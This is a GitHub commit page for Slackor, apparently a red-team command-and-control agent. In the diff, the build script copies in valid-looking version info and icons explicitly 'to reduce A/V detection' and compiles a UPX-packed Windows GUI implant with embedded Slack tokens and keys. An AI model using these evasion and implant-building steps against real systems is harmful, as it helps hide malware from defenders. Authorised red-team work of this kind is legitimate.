Skip to content

Commit 353f0bb

Browse files
committedJul 21, 2019
Moved versioninfo files into example files to allow easier customization
1 parent 5e50f4d commit 353f0bb

5 files changed

+12
-0
lines changed
 

‎.gitignore

+3
Original file line numberDiff line numberDiff line change
@@ -5,3 +5,6 @@ dist/agent.upx.exe
55
dist/agent.windows.exe
66
slackor.db
77
resource.syso
8+
versioninfo.json
9+
versioninfo.manifest
10+
icon.ico

‎agent.py

+9
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22
import sqlite3
33
import hashlib
44
import subprocess
5+
import os.path
56

67
conn = sqlite3.connect('slackor.db')
78

@@ -21,6 +22,14 @@
2122

2223
conn.close()
2324

25+
# Reduce A/V detection by having valid looking versioninfo
26+
if not os.path.exists("versioninfo.json"):
27+
subprocess.run(["bash", "-c", "cp -p versioninfo.example.json versioninfo.json"])
28+
if not os.path.exists("versioninfo.manifest"):
29+
subprocess.run(["bash", "-c", "cp -p versioninfo.example.manifest versioninfo.manifest"])
30+
if not os.path.exists("icon.ico"):
31+
subprocess.run(["bash", "-c", "cp -p icon.example.ico icon.ico"])
32+
2433
# Build exe and pack with UPX
2534
subprocess.run(["bash", "-c", "GO111MODULE=on go generate"])
2635
subprocess.run(["bash", "-c", "GO111MODULE=on GOOS=windows GOARCH=amd64 go build -o dist/agent.windows.exe -ldflags \"-s -w -H windowsgui -X github.com/Coalfire-Research/Slackor/internal/config.ResponseChannel=%s -X github.com/Coalfire-Research/Slackor/internal/config.RegistrationChannel=%s -X github.com/Coalfire-Research/Slackor/internal/config.CommandsChannel=%s -X github.com/Coalfire-Research/Slackor/internal/config.Bearer=%s -X github.com/Coalfire-Research/Slackor/internal/config.Token=%s -X github.com/Coalfire-Research/Slackor/internal/config.CipherKey=%s -X github.com/Coalfire-Research/Slackor/internal/config.SerialNumber=%s\" agent.go" % (responses, registration, commands, bearer, token, aes_key, '%0128x' % random.randrange(16**128))])

‎icon.ico ‎icon.example.ico

File renamed without changes.
File renamed without changes.
File renamed without changes.

0 commit comments

Comments
 (0)
Please sign in to comment.